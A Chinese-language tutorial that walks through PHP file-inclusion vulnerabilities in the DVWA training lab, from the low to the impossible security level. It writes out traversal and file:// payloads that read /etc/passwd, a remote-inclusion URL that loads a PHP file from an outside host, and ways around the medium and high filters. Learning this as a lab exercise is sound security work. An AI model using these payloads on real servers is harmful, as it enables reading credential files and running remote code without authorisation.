文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
所用到的函数:
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
主要特征:
?page=a.php
?home=b.html
?file=content
例如:
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
举个例子:在DVWA的文件包含模块 low级别
这里有个1.txt文件,内容为 hello world
我们在URL中将参数修改为:?page=../1.txt,尝试包含这个1.txt文件:
可以看到爆出了文件的内容。
这里路径可以用绝对路径也可以用相对路径;文件保护使,不管文件是何类型都会优先尝试当作
php文件执行,如果有php代码会返回php代码的结果,如果没有php代码,会将文件内容回显出来。
一般文件包含的隐患就是可以爆出passwd文件中的账户密码信息或者config配置文件的内容。
low级别:
观察源码:
可以看到low级别对于参数page没有进行任何的过滤
用相对路径读取本地文件:
我们写一个php文件放在WWW目录下:
尝试包含此文件:可以看到我们写的php代码被直接运行并返回结果
也可以将参数构造为:
?page=http://目标IP/目标目录+目标文件 进行远程包含
Medium级别
观察源码:
这里使用了str_replace函数对http:// 、 https:// 、 ../ 、 .. 进行了过滤处理
可以使用双写http://或者绝对路径来绕过(例如:htthttp://p://)或者用..././来进行绕过
或者绝对路径和file协议。
High级别:
两个条件分别为file变量中不含有file,且不等于include.php就行
还可以继续用file协议进行绕过
例如:
?page=file///C:/phpstudy/WWW/1.txt
Impossible级别:
观察源码:
可以看到只要不是 include.php file1.php file2.php file3.php 都会报错,类似于白名单的做法
除了以上四个文件其余的文件都不可被包含,彻底杜绝了文件包含漏洞。